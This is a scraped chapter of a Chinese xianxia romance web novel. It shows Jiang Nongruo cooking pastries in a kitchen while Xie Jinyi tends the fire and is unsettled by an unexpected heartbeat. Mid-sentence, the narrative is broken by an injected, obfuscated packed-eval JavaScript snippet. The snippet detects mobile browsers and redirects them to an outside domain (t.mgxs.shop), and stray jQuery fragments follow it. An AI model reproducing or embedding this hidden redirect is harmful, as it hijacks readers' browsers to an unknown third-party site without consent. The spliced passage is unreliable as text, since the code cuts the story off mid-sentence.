文趣网 > 其他小说 > 道侣一心求死 > 15. 心动
    好不容易遇见衣良夜,还没说上几句话,他又一副心神不宁的模样,拱手道别后就要匆匆离去。走了不远,他竟一个踉跄,堪堪扶住身旁树干才未跌倒。

    “良……”岳则鸣才要跨步上前,被元溪云猛地扯回,她对自己随时随地热心肠的大师兄轻轻摇头。

    那道白色的身影垂首驻立良久,不知在想什么,随后直起脊背,将险些绊倒他的石子轻轻踢到一旁,石子咕噜噜滚进花圃,白衣也融入鲜妍依旧的花木之中,如一抹黯淡的白描逐渐从众人视线内消失。

    人群中不知谁轻声叹息,怅惘萦绕心头。舞仙渡上风光无限的天之骄子,屹立千百年的世家大族,一夜之间竟倾颓至此。世事无常,莫过于此。

    姜秾若不喜欢如今沉闷的气氛,正巧府中缺人手,她自知帮不上什么忙,烧火做饭却是会做的,便钻进了厨房,为大家准备午膳。

    像元氏兄妹这样完全辟谷的修士并不多,有的贪恋口腹之欲,并不特意钻研辟谷术,有的则修为尚浅,仍需要同凡人一般饮食,更何况衣氏吸纳了许多凡人进府打杂谋生,虽有一部分人选择离开,但留下的人也不少。

    衣府的主厨房规格极大,内设多个灶台,荤、素、粥饭、点心、羹汤等不同品类各有专人负责。若在平时,应是十几位大厨热火朝天地忙碌,如今却仅剩三位厨娘在制作几样简单充饥的点心,同样忙得脚不沾地。

    “丫头,这不是你该呆的地方,快离开吧。”

    厨娘见她净手要帮忙,赶紧劝离。她并没有见过这个小姑娘,但观其明眸善睐,容色夺目,羽袖如云,自有一番灵韵,不像是厨房打杂的小丫头,倒像是这两日来府内捉妖的仙人,可不敢叫仙人下厨。

    姜秾若摇摇头:“我伯父伯母曾是府中的花匠,现在经营一家花饼铺子,我常帮他们打下手,做些点心不成问题。衣氏现在的模样,我看着不好受,让我帮帮忙吧。”

    厨娘们正忙得团团转,见多一位熟练的帮手,自是舒了口气,也不再多言,给她指了厨具摆放的位置,转身忙去了。

    姜秾若解开发间装饰的丝绦,长长的一条正好可以做成襻膊将羽袖挽起,随后便跟着厨娘们一起调配馅料、揉面、将馅料裹进面团并捏成讨喜的形状。

    谢晋衣寻来此处的时候,见到的便是这番景象。这姑娘常拿鲜花饼引诱一只畜生,嘻嘻笑笑地不正经,想不到在厨房忙碌的模样确实透着几分娴熟。他默不做声地靠在门框上,直到看到小姑娘坐在灶台前埋头生火,再起身时,素白的小脸上莫名其妙黑一道灰一道,忍不住笑出声。

    姜秾若听到熟悉的笑声,转过头来,果然见谢晋衣无所事事地站在门口,她瞪了他一眼,拨开粘在颊边的发丝,转过身继续忙碌。

    谢晋衣见她又给自己的脸上添了一道黑杠,笑得猫眼弯弯,慢悠悠地踏进厨房,直接坐在了生火的小木凳上,宽大的衣摆逶迤在地,贵气十足的模样与柴火灶格格不入。

    “?”

    姜秾若好疑惑,这人不是跟着岳则鸣他们继续寻找荧族线索了吗?现在坐在这等厨房开饭吗?

    灶膛的火要不时看着拨弄添柴,她嫌他碍事:“谢哥哥,你挡住灶膛口了,坐别的地方去,我要看着这些火。”

    谢晋衣拿起火筴,含笑道:“我帮你添柴。”

    说罢,就夹起一根木柴往灶膛里塞,宽袖险些触到火舌,他赶紧卷起袖子,抬头便见眉头紧锁的四张面庞。

    “那个……丫头啊,要不让你哥到别处休憩一会,马上就有笼枣花糕蒸好了,你给他拿去。”厨娘迟疑开口。

    谢晋衣站起身将外裳脱下,露出内里的窄袖袍,贴身的衣裳勾勒出宽肩窄腰,蹀躞带嵌满玉石,下坠一把小剑,银质的束腕寒光凛冽,整个人竟比着宽袍大袖时更有压迫感。

    他将外袍收进芥子囊,翻了翻手腕,示意收拾得很利落:“这样可以吗?”

    厨娘看到这一身精悍的打扮时便住了嘴,姜秾若无奈道:“好吧,你看好火就好,火小了告诉我,我叫你添柴你再添。”

    谢晋衣点点头,果真安分地坐在灶台前,好像烧火是件很有意思的事。

    五人分工,也算合作得当。好一番忙碌,点心总算蒸得差不多了。姜秾若擦擦额角的汗,对谢晋衣道:“谢哥哥,你将火拨小点。”

    谢晋衣已经掌握了柴火灶烧火的诀窍,埋头熟练地鼓捣,火光明灭,照得他的脸暖融融的,他却好像感觉不到热,长睫微垂,专心致志。

    也是,他大夏天的也是穿个大氅捂得严严实实。姜秾若瞧见他的模样,不禁莞尔:“你不去帮忙查探荧族,来这烧火干嘛。”

    谢晋衣没有抬头,继续手中的动作:“该查的都差不多了,和那些人继续呆下去也是白忙活,衣府也没什么好转的,没意思。”

    “是,给我们烧火有意思。”

    谢晋衣哼笑一声:“确实有意思多了。”他看着眼前的火光,轻声道:“世间有许多事尚未尝试,都试过,才不枉此生。”

    “……看得出你没烧过柴火灶了。”

    他无声地笑了下,火势如愿变弱,他抬起脸,一缕额发并没有听话地垂在脸侧,而是贴在眼旁,发尾刺得他眼睛微眯。他伸手将额发拨开,眼睛却仍有异物感,正要揉搓之际,听到一声“别动”。

    他睁开那只正常的眼,姜秾若小花猫一样的脸便放大充斥其间。没有人提醒她脸上沾了灰,他是故意的,厨娘则是不在意,所以她顶着这张滑稽的脸忙忙碌碌。

    “你自己的手多脏不知道?”秀气的眉微蹙,随后又展开笑颜,“不可以用手揉,我帮你吹一吹。”

    谢晋衣还没反应过来,一双温热的手便捧住了他的脸,他条件反射般地立刻攥住了她的手。

    “啊!”姜秾若被吓了一跳,皱眉用手挤压了一下他的脸。

    “……”

    谢晋衣认输地放下手,睁开那只泛红的眼睛:“快点。”

    “好哦,你不要动。”说完,小姑娘嘟起嘴巴,对着他的眼睛轻轻吹气。

    熟悉的香气缠绕鼻

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758869|209421||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    端,年少时躲入如云花树,妄图在这芬芳梦中不愿醒来。

    谢晋衣猛地闭上眼,将身前的少女推来。他站起身不动神色地平复呼吸:“好了,没什么事的话,我继续去看看有没有遗漏的线索。”

    “?”姜秾若眨眨眼,是错觉吗,谢晋衣的眼睛有一刻好像变成了蓝色的。

    她仰起脸庞,盯着他的眼睛打量,然而除了一只眼睛微微泛红,并没有任何异样,依旧眸色漆黑,眼尾勾翘,是很漂亮的眼睛。

    谢晋衣瞥了她一眼,移开目光,没有等回应便转身离开。

    “欸,等等,你的脸!”姜秾若赶紧提醒他,方才他拨弄头发,把手上的灰蹭脸上了,若就这样走出去,和他在外人面前一副睥睨的模样可不搭。

    谢晋衣脚步不停,来到一处僻静的池塘边,心脏仍鼓噪不休,好像要跳出胸腔。他死死地摁住胸口,妄图平息烦乱的心绪。在人类的画本子中,将这种心脏跳动不止的感觉称为心动,但他知道,这不是他的感觉,不属于他。

    池水倒映出他恍惚的面容,额上果然有一抹深色。长睫微颤,他眨眨眼,将烟灰抹去。看来,烧柴火确实容易把灰粘到脸上。

    做好点心后,各处要用膳的地方都派人领走了自己的那份。特殊时刻,即使餐食简陋,也没有人抱怨。

    姜秾若拿了几块糕点放进篮子里,回到自己的小院子准备用午膳,见到谢晋衣坐在院中石桌旁,她冷哼一声,没有理他。

    谢晋衣挑眉:“谁又惹你了?”

    她把篮子重重放在桌上,一手叉腰,一手指他:“怎么会有你这么坏的人,你匆匆忙忙要走,我都能好心叫住你,提醒你脸上沾灰了。你呢?你就这样看着我顶着张脏脸那么久,是不是很好笑?”

    他弯了弯眼,支着脑袋:“怎么光骂我,那几个厨娘也没有提醒啊。”

    “人家那么忙,根本没注意好吗?而且一歇下来,她们就和我说了。我说你怎么莫名其妙站门口笑,那个时候你就发现了,你就是心眼坏!”

    “是是是,我心眼坏。快吃吧,下午不是还要去凑热闹?”

    姜秾若小口吃起糕点:“不是凑热闹,是捉怪物救人。”

    话音刚落,一声鹤唳划过天际,高亢清远,有金石之音。

    衣府中的人被这鹤鸣引得齐齐抬头,修士们翘首而望,就见一只仙鹤自云间飞来,优雅纵逸,一人手挽梅枝,盘膝鹤上。

    “这是……”

    “师尊!师尊来了!”岳则鸣欣喜道。

    枣树下的弟子们仿佛一下有了主心骨,齐齐列队站在岳则鸣身后,激动唤道:

    “师尊!”

    “小师叔!”

    闻人述自鹤身上飘然落地,打量四周,双眼微眯:“唔……”

    果然是梅鹤散人,一眼便发现了什么吗?

    诸人期冀地望着他。

    闻人述不知从何处掏出个痰盂,闪身到一处花圃后,开始大吐特吐:“失礼……九皋飞得太快……我需缓缓……呕!”